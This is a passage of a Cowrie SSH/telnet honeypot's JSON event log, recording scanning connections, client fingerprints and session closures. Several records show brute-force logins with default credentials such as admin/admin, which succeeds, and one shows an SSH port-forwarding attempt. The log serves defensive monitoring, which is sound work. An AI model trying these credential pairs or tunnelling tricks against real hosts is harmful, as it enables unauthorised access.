cha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.790289Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.049943Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.127878Z","src_ip":"159.203.92.129","session":"af7e4e250dc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.141070Z","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.228876Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.232935Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:29.322123Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6872022151947,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:32.338364Z","src_ip":"162.253.42.116","session":"14a315300285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":33058,"dst_ip":"10.17.0.5","dst_port":23,"session":"1febcb23cab9","protocol":"telnet","message":"New connection: 194.195.250.213:33058 (10.17.0.5:23) [session: 1febcb23cab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:36.287772Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":33074,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b807e09eed","protocol":"telnet","message":"New connection: 194.195.250.213:33074 (10.17.0.5:23) [session: 15b807e09eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:36.373755Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35160,"dst_ip":"10.17.0.5","dst_port":23,"session":"279ee7a609ae","protocol":"telnet","message":"New connection: 162.253.42.116:35160 (10.17.0.5:23) [session: 279ee7a609ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:36.404614Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"954e923007f4","protocol":"telnet","message":"New connection: 162.253.42.116:41554 (10.17.0.5:23) [session: 954e923007f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:41.192778Z"}
{"eventid":"cowrie.session.closed","duration":37.72378349304199,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:42.999233Z","src_ip":"194.195.250.213","session":"0705bff80ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07300066947937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:43.242201Z","src_ip":"162.253.42.116","session":"a74ad50af3a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"1373373e84e5","protocol":"telnet","message":"New connection: 162.253.42.116:50294 (10.17.0.5:23) [session: 1373373e84e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:49.860812Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":49900,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b734ae6a3bb","protocol":"ssh","message":"New connection: 103.180.212.135:49900 (159.203.135.109:22) [session: 0b734ae6a3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:50.173012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:50.177460Z","src_ip":"103.180.212.135","session":"0b734ae6a3bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:50.370818Z","src_ip":"103.180.212.135","session":"0b734ae6a3bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33074426651001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:51.124959Z","src_ip":"162.253.42.116","session":"8ad002dfa368","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin1234","message":"login attempt [test/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:51.175655Z","src_ip":"103.180.212.135","session":"0b734ae6a3bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.230.178.102","src_port":45664,"dst_ip":"159.203.135.109","dst_port":23,"session":"de78d023f8f9","protocol":"telnet","message":"New connection: 103.230.178.102:45664 (159.203.135.109:23) [session: de78d023f8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:51.911339Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:52.370730Z","src_ip":"103.180.212.135","session":"0b734ae6a3bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55376,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bdade92d4e5","protocol":"telnet","message":"New connection: 162.253.42.116:55376 (10.17.0.5:23) [session: 8bdade92d4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:54.412531Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56282,"dst_ip":"10.17.0.5","dst_port":23,"session":"036290b7a193","protocol":"telnet","message":"New connection: 162.253.42.116:56282 (10.17.0.5:23) [session: 036290b7a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:55.200845Z"}
{"eventid":"cowrie.session.closed","duration":34.38651967048645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:59.328425Z","src_ip":"162.253.42.116","session":"476a8e676f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.83068776130676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:00.677924Z","src_ip":"162.253.42.116","session":"4ccaecc2c458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18818211555481,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:02.037528Z","src_ip":"162.253.42.116","session":"13451e13164b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59690,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da785f904d4","protocol":"ssh","message":"New connection: 102.213.34.99:59690 (10.17.0.5:22) [session: 8da785f904d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:03.560246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:03.565563Z","src_ip":"102.213.34.99","session":"8da785f904d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:03.735794Z","src_ip":"102.213.34.99","session":"8da785f904d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":55216,"dst_ip":"10.17.0.5","dst_port":22,"session":"d01bab0d66ab","protocol":"ssh","message":"New connection: 165.154.5.173:55216 (10.17.0.5:22) [session: d01bab0d66ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:04.284575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:04.289354Z","src_ip":"165.154.5.173","session":"d01bab0d66ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.4388267993927,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:04.350054Z","src_ip":"103.230.178.102","session":"de78d023f8f9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"fff","message":"login attempt [test/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:04.450843Z","src_ip":"102.213.34.99","session":"8da785f904d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:04.503192Z","src_ip":"165.154.5.173","session":"d01bab0d66ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"1","message":"login attempt [teamspeak3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:05.379405Z","src_ip":"165.154.5.173","session":"d01bab0d66ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:05.623558Z","src_ip":"102.213.34.99","session":"8da785f904d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:06.595827Z","src_ip":"165.154.5.173","session":"d01bab0d66ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.14176368713379,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:09.546255Z","src_ip":"162.253.42.116","session":"279ee7a609ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49560,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb39f8cf8f50","protocol":"ssh","message":"New connection: 159.203.92.129:49560 (159.203.135.109:22) [session: fb39f8cf8f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:10.790994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:10.796688Z","src_ip":"159.203.92.129","session":"fb39f8cf8f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:10.803970Z","src_ip":"159.203.92.129","session":"fb39f8cf8f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anastasia","password":"anastasia","message":"login attempt [anastasia/anastasia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:10.819203Z","src_ip":"159.203.92.129","session":"fb39f8cf8f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:11.826278Z","src_ip":"159.203.92.129","session":"fb39f8cf8f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"acbb8c2e2b70","protocol":"telnet","message":"New connection: 162.253.42.116:45406 (10.17.0.5:23) [session: acbb8c2e2b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:12.073210Z"}
{"eventid":"cowrie.session.closed","duration":37.46554183959961,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:13.753186Z","src_ip":"194.195.250.213","session":"1febcb23cab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.860533714294434,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:15.234149Z","src_ip":"194.195.250.213","session":"15b807e09eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7357f7a24bd","protocol":"telnet","message":"New connection: 185.26.126.47:43714 (159.203.135.109:23) [session: f7357f7a24bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:15.908899Z"}
{"eventid":"cowrie.session.closed","duration":36.15258264541626,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:17.345253Z","src_ip":"162.253.42.116","session":"954e923007f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bb0460d0db","protocol":"telnet","message":"New connection: 162.253.42.116:51464 (10.17.0.5:23) [session: d9bb0460d0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:18.711845Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53144,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec6d894286d","protocol":"telnet","message":"New connection: 162.253.42.116:53144 (10.17.0.5:23) [session: 7ec6d894286d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:20.524966Z"}
{"eventid":"cowrie.session.closed","duration":33.47664213180542,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:23.337325Z","src_ip":"162.253.42.116","session":"1373373e84e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56686,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ec14dc8288","protocol":"telnet","message":"New connection: 162.253.42.116:56686 (10.17.0.5:23) [session: 51ec14dc8288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:24.233064Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57594,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd6c902374d5","protocol":"telnet","message":"New connection: 162.253.42.116:57594 (10.17.0.5:23) [session: dd6c902374d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:25.236990Z"}
{"eventid":"cowrie.session.closed","duration":33.80756688117981,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:29.008321Z","src_ip":"162.253.42.116","session":"036290b7a193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27494287490845,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:29.687384Z","src_ip":"162.253.42.116","session":"8bdade92d4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4e5e0dc418","protocol":"telnet","message":"New connection: 162.253.42.116:35554 (10.17.0.5:23) [session: 3d4e5e0dc418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:31.588796Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38992,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fb716745e49","protocol":"telnet","message":"New connection: 162.253.42.116:38992 (10.17.0.5:23) [session: 9fb716745e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:35.922573Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48162,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d4eb80f80f","protocol":"telnet","message":"New connection: 162.253.42.116:48162 (10.17.0.5:23) [session: 29d4eb80f80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:43.650373Z"}
